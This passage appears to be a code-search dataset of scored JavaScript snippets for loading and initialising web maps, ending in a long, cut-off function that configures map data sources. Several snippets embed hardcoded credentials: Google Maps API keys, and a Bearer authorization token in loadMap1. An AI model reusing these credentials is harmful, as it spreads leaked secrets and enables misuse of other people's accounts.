12.345\r\n },\r\n \"title\" : \"Test Event\",\r\n \"options\" : {\r\n \"description\": \"Test Description\"\r\n }\r\n },\n {\r\n \"start\" : \"1980-01-02\",\r\n \"polyline\" : [\n {\r\n \"lat\" : 45.256,\r\n \"lon\" : -110.45\r\n },\n {\r\n \"lat\" : 46.46,\r\n \"lon\" : -109.48\r\n },\n {\r\n \"lat\" : 43.84,\r\n \"lon\" : -109.86\r\n }\n ],\r\n \"title\" : \"Test Event 2\"\r\n }\r\n ]\r\n }\r\n }\r\n ],\r\n dataDisplayedFunction: function() { setUpPageStatus = \"complete\"; }\r\n });\r\n}", "title": "" }, { "docid": "95b7f2296fa9ef11f7c7022d55f79da8", "score": "0.59812564", "text": "function loadMapBlock() {\n var dojoConfig = {parseOnLoad: true};\n dojo.require(\"dojo.parser\");\n dojo.require(\"dijit.layout.BorderContainer\");\n dojo.require(\"dijit.layout.ContentPane\");\n dojo.require(\"esri.map\");\n dojo.require(\"esri.dijit.Scalebar\");\n dojo.addOnLoad(embedInit);\n }", "title": "" }, { "docid": "d6656132f9fce15bd616035c6df1c4bf", "score": "0.5806019", "text": "function pageLoad()\r\n{\r\n // Type the following commented code to experience\r\n // JavaScript Intellisense:\r\n \r\n //map = new VEMap(\"myMap\");\r\n //map.LoadMap();\r\n \r\n \r\n}", "title": "" }, { "docid": "dfc1f2185786ea0611c19114d51b4b6d", "score": "0.5781026", "text": "function loadMap() {\n java.loadMap();\n}", "title": "" }, { "docid": "42508d434e777fd5d1ebdd5717613e1e", "score": "0.57654995", "text": "function maps_elementsExtraJS() {\n // screen (maps) extra code\n\n /* googlemap_2 */\n\n $(\"[name = 'googlemap_2']\").wrap(\"<div/>\");\n $(\"[name = 'googlemap_2']\").parent().css(\"margin-left\", $(\"[name = 'googlemap_2']\").css(\"margin-left\"));\n $(\"[name = 'googlemap_2']\").parent().css(\"margin-right\", $(\"[name = 'googlemap_2']\").css(\"margin-right\"));\n $(\"[name = 'googlemap_2']\").css(\"margin-left\", '0');\n $(\"[name = 'googlemap_2']\").css(\"margin-right\", '0');\n\n var googlemap_2_options = {\n markerSourceName: \"googlemap_2_markers\",\n latitude: \"\",\n longitude: \"\",\n address: \"San Francisco, CA\",\n zoom: 10,\n showLocationMarker: false\n }\n\n Apperyio.__registerComponent('googlemap_2', new Apperyio.ApperyMapComponent(\"googlemap_2\", googlemap_2_options));\n $(\"[name='googlemap_2_markers'] [apperytype='marker']\").attr(\"reRender\", \"googlemap_2\");\n $(\":mobile-pagecontainer\").off(\"pagecontainershow.maps_mobilecontainer\").on(\"pagecontainershow.maps_mobilecontainer\", function(event, ui) {\n if (($('#maps_googlemap_2', ui.toPage).length > 0) && (Apperyio('googlemap_2') != undefined)) {\n Apperyio('googlemap_2').refresh();\n }\n });\n\n }", "title": "" }, { "docid": "21d74737a3167dd78cd9f1fd73fcb590", "score": "0.5757297", "text": "function initMaps() {\n showMap();\n}", "title": "" }, { "docid": "d63725ea02674f05df2e9396cd8d2a54", "score": "0.5743427", "text": "componentDidMount() {\n window.initMap = this.initMap;\n loadScript(config.mapUrl);\n }", "title": "" }, { "docid": "791577f52b29b2b298af88f19d05ef1a", "score": "0.5737049", "text": "function kmlLoadTestSetup() {\r\n tm = TimeMap.init({\r\n mapId: \"map\", // Id of map div element (required)\r\n timelineId: \"timeline\", // Id of timeline div element (required) \r\n datasets: [\r\n {\r\n title: \"Test Dataset\",\r\n id: \"test\",\r\n type: \"kml\",\r\n options: {\r\n url: \"data/data.kml\" \r\n }\r\n }\r\n ],\r\n dataDisplayedFunction: function() { setUpPageStatus = \"complete\"; }\r\n });\r\n}", "title": "" }, { "docid": "c41c8b14e909e937a5c1fa085c704abc", "score": "0.57306725", "text": "renderMap() {\n loadScript(\"https://maps.googleapis.com/maps/api/js?key=AIzaSyDIXFf8P9TFxVbapkE9R2DZmWMjEd-F_qk&callback=initMap\")\n window.initMap = this.initMap\n }", "title": "" }, { "docid": "7caeb822667c130bdf4c874e1566cdb2", "score": "0.57227695", "text": "function setUpPage() {\r\n geoTest();\r\n}", "title": "" }, { "docid": "2036acd48d1ecd6973076b7995521ab6", "score": "0.56911474", "text": "function initGoogleMapStep1() {\n var script = document.createElement(\"script\");\n var scriptsrc = \"http://www.google.com/jsapi?key=ABQIAAAAs-ZODfxj8f9LNfbR_FZHTRTfRkUUk3oX8DgAj5sWGEMsn5h-rhRi9M18xlAezldqPnUIGtD9BZ6w3g\";\n // DEVELOENT VERSION scriptsrc = \"http://www.google.com/jsapi?key=ABQIAAAAnfs7bKE82qgb3Zc2YyS-oBT2yXp_ZAY8_ufC3CFXhHIE1NvwkxSySz_REpPq-4WZA27OwgbtyR3VcA\";\n // RELEASE VERSION\n // script.src = scriptsrc;\n // script.type = \"text/javascript\";\n // document.getElementsByTagName(\"head\")[0].appendChild(script);\n jQuery.getScript(scriptsrc, initGoogleMapStep2);\n }", "title": "" }, { "docid": "f1291d35efca778032db8035c4a8468f", "score": "0.5593024", "text": "function intialiseMaps(){\r\n var mapScript = document.createElement('script');\r\n mapScript.type = \"text/javascript\";\r\n mapScript.src = \"https://maps.googleapis.com/maps/api/js?key=AIzaSyD-_Zd52SX6xAHEI15-WJm3iFA8LdKwL54&callback=initMap\";\r\n document.body.appendChild(mapScript);\r\n mapsIntailised = true;\r\n\r\n}", "title": "" }, { "docid": "dcceb5e58771c0ae88874ab58ca6ca7f", "score": "0.5580412", "text": "function MAPS_elementsExtraJS() {\n // screen (MAPS) extra code\n /* googlemap_6 */\n $(\"[name = 'googlemap_6']\").wrap(\"<div/>\");\n $(\"[name = 'googlemap_6']\").parent().css(\"margin-left\", $(\"[name = 'googlemap_6']\").css(\"margin-left\"));\n $(\"[name = 'googlemap_6']\").parent().css(\"margin-right\", $(\"[name = 'googlemap_6']\").css(\"margin-right\"));\n $(\"[name = 'googlemap_6']\").css(\"margin-left\", '0');\n $(\"[name = 'googlemap_6']\").css(\"margin-right\", '0');\n var googlemap_6_options = {\n markerSourceName: \"googlemap_6_markers\",\n latitude: \"\",\n longitude: \"\",\n address: \"San Francisco, CA\",\n zoom: 10,\n showLocationMarker: true\n }\n Apperyio.__registerComponent('googlemap_6', new Apperyio.ApperyMapComponent(\"googlemap_6\", googlemap_6_options));\n $(\"[name='googlemap_6_markers'] [apperytype='marker']\").attr(\"reRender\", \"googlemap_6\");\n\n function __update_googlemap_6(event, ui) {\n if (($('#MAPS_googlemap_6', ui.toPage).length > 0) && (Apperyio('googlemap_6') != undefined) && (Apperyio('googlemap_6').isInitialized)) {\n Apperyio('googlemap_6').refresh();\n }\n }\n $(\":mobile-pagecontainer\").off(\"pagecontainershow.MAPS_mobilecontainer\", __update_googlemap_6).on(\"pagecontainershow.MAPS_mobilecontainer\", __update_googlemap_6);\n }", "title": "" }, { "docid": "7c618e756dc3796c8f30dea7a94fb914", "score": "0.55694026", "text": "function init() {\r\n\texperiment.setMap(\"TEST-SleepForest_Sochy\"); // TEST-SleepForest_Sochy - 12/2022 - 4 znacky, z toho jedna je socha cloveka/zvirete + kompas v kazdem cverci, platforma pod lesem\r\n //experiment.setMap(\"TEST-SleepForest_Marks\"); \r\n}", "title": "" }, { "docid": "33ae6ffe0d26e7011d2e03e186ec0496", "score": "0.55574065", "text": "function initMap() {\n /*Only exists so that we can use the Google APIs script*/\n}", "title": "" }, { "docid": "4470475a5457b646fe854963fab2d70a", "score": "0.5554529", "text": "function customBeforeMapInit() {\n}", "title": "" }, { "docid": "7d812de0ec1ae749d33e3aceca6f9f9e", "score": "0.5550622", "text": "function intialiseMaps(){\r\n var mapScript = document.createElement('script');\r\n mapScript.type = \"text/javascript\";\r\n mapScript.src = \"https://maps.googleapis.com/maps/api/js?key=AIzaSyD-_Zd52SX6xAHEI15-WJm3iFA8LdKwL54&callback=initMap\";\r\n document.body.appendChild(mapScript);\r\n}", "title": "" }, { "docid": "189997d0c0666f6614572a0a40a942fa", "score": "0.54962647", "text": "function initMap() {\n loadMap(\"\", 0.0, 0.0);\n}", "title": "" }, { "docid": "33b718b2edd43ef2f918f3ce91165543", "score": "0.547284", "text": "function initMap() {\n}", "title": "" }, { "docid": "0ccaa325b8cf486422dc784de4e01619", "score": "0.5456019", "text": "componentDidMount() {\n window.initMap = this.initMap.bind(this);\n window.gm_authFailure = gm_authFailure;\n\n loadJS('https://maps.googleapis.com/maps/api/js?key=AIzaSyBE_BEEs1_iQlWmtqsJP_4_1rueRYgFtQc&callback=initMap')\n }", "title": "" }, { "docid": "d95cb6c79e745c7f0971fd4d540bb3c6", "score": "0.54321164", "text": "function initMap() {\n map = new google.maps.Map(document.getElementById('map'), {\n zoom: 4,\n center: {lat: 55.658996, lng: -97.031250},\n mapTypeId: 'terrain'\n });\n\n // Create a <script> tag and set the USGS URL as the source.\n var script = document.createElement('script');\n map.addListener('click', addPoint);\n\n // This example uses a local copy of the GeoJSON stored at\n // http://earthquake.usgs.gov/earthquakes/feed/v1.0/summary/2.5_week.geojsonp\n monthChange()\n}", "title": "" }, { "docid": "074b99f96ea0330749aa1fa4c8214186", "score": "0.5421871", "text": "getScriptURL() {\n return 'https://api.mapbox.com/mapbox-gl-js/v0.32.1/mapbox-gl.js';\n }", "title": "" }, { "docid": "511ef3ecb8cda5a151ee9f7a5233d70f", "score": "0.5420374", "text": "function setup(map){\n\t//$(\".feature-btn\").tooltip({ placement: 'right', title: 'Charts'});\t\n\t//map.addControl(new ChartControl());\n\trefresh();\n\tvar layers = JSON.parse(localStorage.getItem('sk-load-charts'));\n\tif(!layers)return;\n\tlayers = jQuery.grep(layers, function(value) {\n\t\taddChartLayer(map, value.key, value.type, value.scale);\n\t\t});\n}", "title": "" }, { "docid": "5f07fddc850434db9e0854ad289bbdb2", "score": "0.5407157", "text": "function initMap() {\n\n // check browser width to initialize ui components\n if (pointbreak.isCurrentBreakpoint(PointBreak.SMALL_BREAKPOINT)) {\n destroyScrollPane();\n } else {\n initScrollPane();\n initDesktopMap();\n }\n }", "title": "" }, { "docid": "57b1798fab9ab5e3c14d6f670097baa0", "score": "0.54017735", "text": "function whenMapIsReady(cb) { //when external vars have loaded\n var waiting = setInterval(function() { //run every 1sec until we have loaded the page (dont hate me Sam)\n if (map.loaded)\n {\n console.log(\"map is ready\");\n clearInterval(waiting); //stop timer\n cb(); //call back\n }\n}, 200);\n}", "title": "" }, { "docid": "57b1798fab9ab5e3c14d6f670097baa0", "score": "0.54017735", "text": "function whenMapIsReady(cb) { //when external vars have loaded\n var waiting = setInterval(function() { //run every 1sec until we have loaded the page (dont hate me Sam)\n if (map.loaded)\n {\n console.log(\"map is ready\");\n clearInterval(waiting); //stop timer\n cb(); //call back\n }\n}, 200);\n}", "title": "" }, { "docid": "5192f21daa352281d274b7b636ed0a40", "score": "0.53997815", "text": "function initMap() {\n\t\n}", "title": "" }, { "docid": "69ce49d81fad6b5af636b6083d063f38", "score": "0.5362503", "text": "function loadGoogleMapsAPI() {\n\tvar script = document.createElement(\"script\");\n\tscript.type = \"text/javascript\";\n\tscript.src = \"http://maps.googleapis.com/maps/api/js?sensor=false&callback=initialize\";\n\tdocument.body.appendChild(script);\n\t\n}", "title": "" }, { "docid": "e205c16d9918e5dff6915f844445d231", "score": "0.5342682", "text": "function initialize(){\n createMap();\n}", "title": "" }, { "docid": "a184d29341eea844ee4168dece08d435", "score": "0.5340533", "text": "lazyLoadGoogleMaps() {\n const script = document.createElement(\"script\");\n script.src = `https://maps.googleapis.com/maps/api/js?key=AIzaSyCRnfUWfANw0glEAZwOq4vauiP5iZLAXa0&libraries=places&callback=initMap`;\n script.defer = true;\n document.body.append(script);\n }", "title": "" }, { "docid": "afe0478e890ab154c809409925c4c1c3", "score": "0.53374314", "text": "function initMap() {\r createMapElements();\r }", "title": "" }, { "docid": "799d28a9c15de31d5b3bae6241ddd252", "score": "0.53318095", "text": "function gmapSuccess()\n{\n\tEnhancer.loadScriptAsync('/app-enhanced.min.js');\n}", "title": "" }, { "docid": "9c2bcf0f2cde8adbbc9d41e58623dabb", "score": "0.5322855", "text": "function initMap() {\n // Initialize the page\n // Load only Brazil fligths to speed the page loading\n createLayerAircrafts(\"/api/v1.0/aircrafts-data/Brazil\");\n createAirportsLayer(\"/api/v1.0/airports-data/Brazil\");\n loadDropdownAirport();\n\n // Load all fligths\n createLayerAircrafts(`/api/v1.0/aircrafts-data/ALL`);\n}", "title": "" }, { "docid": "e08b9b5d1f8f192bfa6f6f2791ade8a2", "score": "0.5319595", "text": "function initialize() {\n //here we are getting the Element ID of the mapwindow of mymap.html to render google map there.\n map = new google.maps.Map(document.getElementById('mapwindow'), {\n zoom: 3,\n center: new google.maps.LatLng(40, -187.3),\n mapTypeId: google.maps.MapTypeId.TERRAIN\n });\n\n addMarkers();\n}", "title": "" }, { "docid": "a23613947d092c2b1a4788a5703c285d", "score": "0.53189385", "text": "function setupMap(mapURL) {\n let ref = window.document.getElementsByTagName('script')[0];\n let script = window.document.createElement('script');\n script.src = mapURL;\n script.async = true;\n script.onerror = () => {\n document.write('Failed to load Google Map');\n };\n ref.parentNode.insertBefore(script, ref);\n}", "title": "" }, { "docid": "25abd4533128f8764b8b163d54279bde", "score": "0.5316494", "text": "function initialize() {\n initMap();\n}", "title": "" }, { "docid": "a1b0c06c54c0f4db45e084e7dd7db477", "score": "0.5309499", "text": "function initMap() {\r\n map = new google.maps.Map(document.getElementById('map'), {\r\n zoom: 2,\r\n center: new google.maps.LatLng(2.8, -187.3), // Center Map. \r\n mapTypeId: 'terrain' \r\n });\r\n loadMap(\"https://earthquake.usgs.gov/earthquakes/feed/v1.0/summary/significant_hour.geojson\");\r\n}", "title": "" }, { "docid": "7d5a7dd08a1554a5bc2abc250fc49c6f", "score": "0.52936304", "text": "function init() {\n var myMap = new ymaps.Map('map', {\n center: [56.832403, 60.582798],\n zoom: 17,\n controls: []\n });\n\n var myPlacemark = new ymaps.Placemark([56.832403, 60.582798], {}, {\n // Опции.\n // Необходимо указать данный тип макета.\n iconLayout: 'default#image',\n // Своё изображение иконки метки.\n iconImageHref: './app/images/point-home.png',\n // Размеры метки.\n iconImageSize: [60, 75],\n // Смещение левого верхнего угла иконки относительно\n // её \"ножки\" (точки привязки).\n iconImageOffset: [-30, -75]\n });\n\n myMap.geoObjects.add(myPlacemark);\n // myMap.setBounds(myMap.geoObjects.getBounds())\n\n /* global Strip */\n $('.map').click(function () {\n var elem = $('#map-big');\n\n var windowSize = $('.page').width() - 660 + 'x' + $('.page').height();\n\n Strip.show('https://dummyimage.com/' + windowSize + '+/000/fff', {\n onShow: function onShow() {\n elem.detach().appendTo('.strp-container');\n myMap.container.fitToViewport();\n },\n afterHide: function afterHide() {\n elem.detach().appendTo('.strp-window');\n myMap.container.fitToViewport();\n },\n afterPosition: function afterPosition(position) {\n myMap.container.fitToViewport();\n }\n });\n });\n }", "title": "" }, { "docid": "48af96588705276c1cd84bb6d8eb61a0", "score": "0.5286907", "text": "function loadMap1(calledBy, show, dp_incoming) { // Called by this page. Maybe still index.html, map-embed.js\n // Calls loadFromSheet\n let hash = $.extend(true, {}, getHash()); // Clone/copy object without entanglement. Includes hiddenhash\n if (!show && param[\"show\"]) {\n show = param[\"show\"];\n }\n consoleLog('loadMap1 start. CalledBy ' + calledBy + '. Show: ' + show + '. Cat: ' + hash.cat);\n\n dp = {}; // Clear prior\n if (dp_incoming) { // Parameters set in page or layer json\n dp = dp_incoming;\n }\n \n let layers = hash.layers;\n var basemaps1 = {};\n var basemaps2 = {};\n\n // Could display a very small loading indicator\n\n let theState;\n if (param[\"state\"]) {\n theState = param[\"state\"].toUpperCase();\n }\n waitForElm('#state_select').then((elm) => {\n\n if (theState != \"\") {\n // = $(\"#state_select\").find(\":selected\").val()\n let kilometers_wide = $(\"#state_select\").find(\":selected\").attr(\"km\");\n //zoom = 1/kilometers_wide * 1800000;\n zoom = zoomFromKm2(kilometers_wide,theState);\n dp.latitude = $(\"#state_select\").find(\":selected\").attr(\"lat\");\n dp.longitude = $(\"#state_select\").find(\":selected\").attr(\"lon\");\n //alert(\"dp.longitude \" + dp.longitude)\n\n // The above loads async. \n // May need to check if map1 and map2 are already loaded if not always recentering.\n }\n });\n\n dp.listLocation = false; // Hides Waze direction link in list, remains in popup.\n\n dp.show = show;\n if (show && show.length) {\n $(\".\" + show).show(); // Show layer's divs, after hiding all layer-specific above.\n }\n $(\"#filterbaroffset\").height($(\"#filterFieldsHolder\").height() + \"px\"); // Adjust incase reveal/hide changes height.\n\n // Google Sheets must be published with File > Publish to Web to avoid error: \n // \"blocked by CORS policy: No 'Access-Control-Allow-Origin' header\" \n\n // Temp - until widget includes local industry lists\n if((show == \"industries\" || show == \"parts\" || show == \"vehicles\" || show == \"bioeconomy\") && location.href.indexOf('/info') == -1) {\n ////location.href = \"/localsite/info/\" + location.hash;\n //location.href = \"/localsite/info/#show=\" + show;\n }\n\n if (show == \"farmfresh\" && theState) {\n dp.listTitle = \"USDA Farm Produce\";\n //if (location.host.indexOf('localhost') >= 0) {\n //dp.categories = \"farm = Direct from Farm, market = Farmers Markets\";\n dp.categories = {\"farm\": {\"title\":\"Direct from Farm\",\"color\":\"#b2df8a\"}, \"market\": {\"title\":\"Farmers Markets\",\"color\":\"#33a02c\"}};\n // Green colors above\n // #b2df8a, #33a02c \n dp.valueColumn = \"type\";\n dp.valueColumnLabel = \"Type\";\n dp.dataset = \"https://model.earth/community-data/us/state/\" + theState + \"/\" + theState.toLowerCase() + \"-farmfresh.csv\";\n //} else {\n // // Older data\n // dp.valueColumn = \"Prepared\";\n // dp.dataset = local_app.custom_data_root() + \"farmfresh/farmersmarkets-\" + theState.toLowercase() + \".csv\";\n //}\n //dp.name = \"Local Farms\"; // To remove\n dp.dataTitle = \"Farm Fresh Produce\";\n\n dp.markerType = \"google\"; // BUGBUG doesn't seem to work with county boundary background (showShapeMap)\n //dp.showShapeMap = true;\n\n dp.search = {\"In Type\": \"type\",\"In Market Name\": \"MarketName\",\"In County\": \"County\",\"In City\": \"city\",\"In Street\": \"street\",\"In Zip\": \"zip\",\"In Website\": \"Website\"};\n // These were marketname\n dp.nameColumn = \"name\";\n dp.titleColumn = \"name\";\n dp.searchFields = \"name\";\n dp.addressColumn = \"street\";\n dp.stateColumn = \"state\";\n dp.addlisting = \"https://www.ams.usda.gov/services/local-regional/food-directories-update\";\n // community/farmfresh/ \n dp.mapInfo = \"Farmers markets and local farms providing fresh produce directly to consumers. <a style='white-space: nowrap' href='https://model.earth/community/farmfresh/'>About Data</a> | <a href='https://www.ams.usda.gov/local-food-directories/farmersmarkets'>Update Listings</a>\";\n } else if (show == \"buses\") {\n dp.listTitle = \"Bus Locations\";\n dp.dataset = \"https://api.marta.io/buses\";\n dp.datatype = \"json\";\n dp.nameColumn = \"route\";\n dp.namePrefix = \"Route\";\n dp.skips = \"route\";\n dp.itemsColumn = \"DIRECTION\";\n dp.valueColumn = \"DIRECTION\";\n dp.valueColumnLabel = \"Direction\";\n dp.latitude = 33.74;\n dp.longitude = -84.38;\n dp.zoom = 12;\n dp.refreshminutes = \"1\";\n dp.mapInfo = \"View train station arrival times at <a href='https://marta.io/'>MARTA.io</a><br>API enhancements by Code for Atlanta member jakswa. <a href='https://github.com/jakswa/marta_ui'>GitHub</a>\"\n\n // , \"In Address\": \"address\", \"In County Name\": \"county\", \"In Website URL\": \"website\"\n dp.search = {\"In Route Number\": \"ROUTE\", \"In Vehicle Number\": \"VEHICLE\"}; // Or lowercase?\n } else if (show == \"trees\" && theState == \"CA\") {\n dp.listTitle = \"Trees\";\n dp.dataset = \"https://storage.googleapis.com/public-tree-map/data/map.json\";\n dp.nameColumn = \"name_botanical\";\n // , \"In Address\": \"address\", \"In County Name\": \"county\", \"In Website URL\": \"website\"\n dp.search = {\"Common Name\": \"family_common_name\", \"Family Name\": \"family_name_botanical\", \"Botanical Name\": \"name_botanical\"};\n } else if (show == \"beyondcarbon\") {\n dp.listTitle = \"Beyond Carbon\";\n dp.dataset = \"https://assets.bbhub.io/dotorg/sites/40/2019/05/beyondcarbon-States_Territories-data-sample-5_22-data-06_06.csv\";\n dp.itemsColumn = \"Has [XX] committed to 100% clean energy?\"; // For side nav search\n dp.valueColumn = \"Has [XX] committed to 100% clean energy?\";\n dp.nameColumn = \"Has [XX] committed to 100% clean energy?\";\n } else if (show == \"solar\") {\n // Currently showing for all states even though only Georgia solar list in Google Sheet.\n dp.listTitle = \"Solar Companies\";\n dp.editLink = \"https://docs.google.com/spreadsheets/d/1yt_saLpiBNPR1g_r2mn9-U5DozqLoVJHVwfR-4f0HTU/edit?usp=sharing\";\n dp.googleDocID = \"1yt_saLpiBNPR1g_r2mn9-U5DozqLoVJHVwfR-4f0HTU\";\n dp.sheetName = \"Companies\";\n dp.mapInfo = \"Post comments in our <a href='https://docs.google.com/spreadsheets/d/1yt_saLpiBNPR1g_r2mn9-U5DozqLoVJHVwfR-4f0HTU/edit?usp=sharing'>Google Sheet</a> to submit map updates.<br>View Georgia's <a href='https://www.solarpowerworldonline.com/2020-top-georgia-contractors/'>top solar contractors by KW installed</a>.\";\n dp.valueColumn = \"firm type\";\n dp.valueColumnLabel = \"Firm Type\";\n dp.markerType = \"google\";\n dp.search = {\"In Location Name\": \"name\", \"In Address\": \"address\", \"In County Name\": \"county\", \"In Website URL\": \"website\"}; \n } else if (layers == \"brigades\" || show == \"brigades\") { // To do: Check an array of layers\n dp.listTitle = \"Coding Brigades\";\n dp.dataTitle = \"Brigades\";\n dp.dataset = \"https://neighborhood.org/brigade-information/organizations.json\";\n dp.datatype = \"json\";\n dp.mapInfo = \"<a href='https://neighborhood.org/brigade-information/'>Source</a> - <a href='https://projects.brigade.network/'>Brigade Project List</a> and <a href='https://neighborhood.org/brigade-project-index/get-indexed/'>About Project Index</a> \";\n dp.markerType = \"google\"; // BUGBUG doesn't seem to work with county boundary background (showShapeMap)\n // , \"In Address\": \"address\", \"In County Name\": \"county\", \"In Website URL\": \"website\"\n dp.search = {\"In Location Name\": \"name\"};\n dp.valueColumn = \"type\";\n dp.valueColumnLabel = \"Type\";\n dp.latitude = 34.82;\n dp.longitude = -98.57;\n dp.zoom = 4;\n } else if (show == \"openepd\") {\n dp.listTitle = \"Environmental Product Declarations\";\n dp.mapInfo = \"EPD directory data from <a href='https://BuildingTransparency.org' target='_blank'>Building Transparency</a>\";\n dp.datatype = \"json\";\n // Limited to 20 reduces time to 4 seconds, verse 8 seconds for 250. 251 returns 250.\n dp.dataset = \"https://buildingtransparency.org/api/materials?page_number=1&page_size=251&soft_search_terms=true&category=b03dba1dca5b49acb1a5aa4daab546b4&jurisdiction=[jurisdiction]&epd__date_validity_ends__gt=2021-08-24\";\n dp.headerAuth = \"{'Authorization':'Bearer 204ad15687571d9c62bdfa780526b1514c090f68'}\";\n\n dp.latColumn = \"plant_or_group.latitude\";\n dp.lonColumn = \"plant_or_group.longitude\";\n } else if (show == \"trade\") {\n dp.listTitle = \"Georgia Exporters\";\n dp.googleCategories = \"https://docs.google.com/spreadsheets/d/e/2PACX-1vQjvrzFMi_5ZPpcHj4uzjyA9aHyrlo6eJpdlLB6Mo5Fxtp9dfajgLKOfa16-HlZOPTKNQLbSWbkL6SR/pub?gid=0&single=true&output=csv\";\n \n //dp.valueColumn = \"category\";\n //dp.valueColumnLabel = \"Category\";\n\n dp.catColumn = \"Category\";\n //dp.subcatColumn = \"Materials Accepted\";\n dp.dataset = \"https://georgiadata.github.io/display/products/exporters/export.csv\";\n dp.nameColumn = \"account name\"; // Lowercase even though capitalized in CSV.\n dp.titleColumn = \"Account Name\";\n dp.searchFields = \"Account Name\";\n //dp.addressColumn = \"address\";\n\n //dp.valueColumn = \"category\"; // Avoid because we have multiple categories in value column.\n //dp.valueColumnLabel = \"Category\";\n dp.catColumn = \"Industries Trade\";\n dp.mapable = \"false\";\n //dp.subcatColumn = \"Materials Accepted\";\n //dp.itemsColumn = \"Materials Accepted\"; // Needs to remain capitalized.\n\n // https://map.georgia.org/recycling/\n dp.editLink = \"\";\n dp.mapInfo = \"<a href='https://map.georgia.org/display/products/'>View active version</a>\";\n dp.search = {\"In Company Name\": \"Account Name\", \"In Industries\": \"Industries Trade\"};\n\n } else if (theState == \"GA\") {\n\n if (show == \"opendata\") {\n dp.editLink = \"https://docs.google.com/spreadsheets/d/1bvD9meJgMqLywdoiGwe3f93sw1IVI_ZRjWSuCLSebZo/edit?usp=sharing\";\n dp.dataTitle = \"Georgia Open Data\";\n dp.listTitle = \"Georgia Open Data Resources\";\n dp.googleDocID = \"1bvD9meJgMqLywdoiGwe3f93sw1IVI_ZRjWSuCLSebZo\";\n dp.sheetName = \"OpenData\";\n dp.itemsColumn = \"Category1\"; // For side nav search\n dp.valueColumn = \"Category1\";\n dp.valueColumnLabel = \"Type\";\n dp.mapInfo = \"<a href='https://docs.google.com/spreadsheets/d/1bvD9meJgMqLywdoiGwe3f93sw1IVI_ZRjWSuCLSebZo/edit?usp=sharing'>Update Google Sheet</a>.\";\n dp.search = {\"In Dataset Name\": \"name\", \"In Type\": \"Category1\", \"In Website URL\": \"website\"};\n \n } else if (show == \"360\") {\n dp.listTitle = \"Birdseye Views\";\n dp.dataset = local_app.custom_data_root() + \"360/GeorgiaPowerSites.csv\";\n dp.search = {\"In Dataset Name\": \"name\", \"In City\": \"CITY\", \"In Property URL\": \"property_link\"};\n dp.color = \"#ff9819\"; // orange - Since there is no type column. An item column is filtered.\n dp.markerType = \"google\";\n } else if (show == \"dmap\") {\n dp.listTitle = \"Georgia Map\";\n dp.googleCSV = \"https://docs.google.com/spreadsheets/d/e/2PACX-1vRPe-t3GBhimUV6JN62lLmtpZ5XsmLDXPusjOfrJ-_tW7BZlVrvcVT4oLFXtAtRX79WSAgVQe9zK2Ik/pub?gid=0&single=true&output=csv\";\n \n dp.nameColumn = \"recipient_name\";\n dp.titleColumn = \"recipient_name\";\n dp.searchFields = \"recipient_name\";\n dp.addressColumn = \"address\";\n\n //dp.valueColumn = \"naics\";\n dp.valueColumn = \"naics description\";\n //dp.valueColumnLabel = \"2-digit NAICS\";\n\n dp.showKeys = \"naics description\";\n dp.showLabels = \"Industry\";\n dp.search = {\"In Company Name\": \"recipient_name\", \"In naics description\": \"naics description\", \"In Address\" : \"address\"};\n dp.itemsColumn = \"NAICS Description\"; // The column being search\n\n } else if (show == \"recyclers\") {\n dp.listTitle = \"Georgia B2B Recyclers\";\n dp.dataTitle = \"B2B Recyclers\";\n dp.adminNote = \"maps.g\";\n dp.googleCSV = \"https://docs.google.com/spreadsheets/d/e/2PACX-1vRBRXb005Plt3mmmJunBMk6IejMu-VAJOPdlHWXUpyecTAF-SK4OpfSjPHNMN_KAePShbNsiOo2hZzt/pub?gid=1924677788&single=true&output=csv\";\n \n // Materials Tab\n dp.googleCategories = \"https://docs.google.com/spreadsheets/d/e/2PACX-1vRBRXb005Plt3mmmJunBMk6IejMu-VAJOPdlHWXUpyecTAF-SK4OpfSjPHNMN_KAePShbNsiOo2hZzt/pub?gid=381237740&single=true&output=csv\";\n dp.nameColumn = \"organization name\";\n dp.titleColumn = \"organization name\";\n dp.searchFields = \"organization name\";\n dp.addressColumn = \"address\";\n\n dp.valueColumn = \"category\";\n dp.valueColumnLabel = \"Category\";\n dp.catColumn = \"Category\";\n dp.subcatColumn = \"Materials Accepted\";\n dp.itemsColumn = \"Materials Accepted\"; // Needs to remain capitalized.\n dp.color = \"#E31C79\"; // When no category\n\n dp.markerType = \"google\";\n // https://map.georgia.org/recycling/\n dp.editLink = \"https://docs.google.com/spreadsheets/d/1YmfBPEFpfmaKmxcnxijPU8-esVkhaVBE1wLZqPNOKtY/edit?usp=sharing\";\n dp.listInfo = \"<a href='https://map.georgia.org/recycling/georgia/'>View Recycling Datasets</a>\";\n dp.mapInfo = \"Add <a href='https://map.georgia.org/recycling/'>B2B&nbsp;Recycler Listings</a> or post comments to submit additions to our <a href='https://docs.google.com/spreadsheets/d/1YmfBPEFpfmaKmxcnxijPU8-esVkhaVBE1wLZqPNOKtY/edit?usp=sharing' target='georgia_recyclers_sheet'>Google&nbsp;Sheet</a>.\";\n dp.search = {\"In Main Category\": \"Category\", \"In Materials Accepted\": \"Materials Accepted\", \"In Location Name\": \"organization name\", \"In Address\": \"address\", \"In County Name\": \"county\", \"In Website URL\": \"website\"};\n \n } else if (show == \"wastewater\") {\n //alert(\"wastewater4\")\n dp.listTitle = \"Georgia Wastewater Facilities (2023)\";\n dp.editLink = \"https://docs.google.com/spreadsheets/d/1YmfBPEFpfmaKmxcnxijPU8-esVkhaVBE1wLZqPNOKtY/edit?usp=sharing\";\n dp.mapInfo = \"View&nbsp;<a href='/recycling/georgia/'>Solid Waste and Recycling&nbsp;Datasets</a>.\";\n // Wastewater tab. Path including gid from sheet's Share > Publish [choose tab]\n dp.googleCSV = \"https://docs.google.com/spreadsheets/d/e/2PACX-1vRBRXb005Plt3mmmJunBMk6IejMu-VAJOPdlHWXUpyecTAF-SK4OpfSjPHNMN_KAePShbNsiOo2hZzt/pub?gid=2016874057&single=true&output=csv\";\n \n // From sheet tab with SIC values\n // SIC Tab\n dp.googleCategories = \"https://docs.google.com/spreadsheets/d/e/2PACX-1vRBRXb005Plt3mmmJunBMk6IejMu-VAJOPdlHWXUpyecTAF-SK4OpfSjPHNMN_KAePShbNsiOo2hZzt/pub?gid=1844952458&single=true&output=csv\";\n \n dp.catColumn = \"sic_code_list\";\n\n // PERMIT_NAME\n // BUGBUG - Allow these to start with uppercase to match sheet\n dp.nameColumn = \"permit_name\"; // PERMIT_NAME\n dp.titleColumn = \"permit_name\";\n dp.searchFields = \"permit_name\";\n //dp.addressColumn = \"FACILITY_ADDR\";\n dp.addressColumn = \"facility_addr\";\n\n // BUGBUG 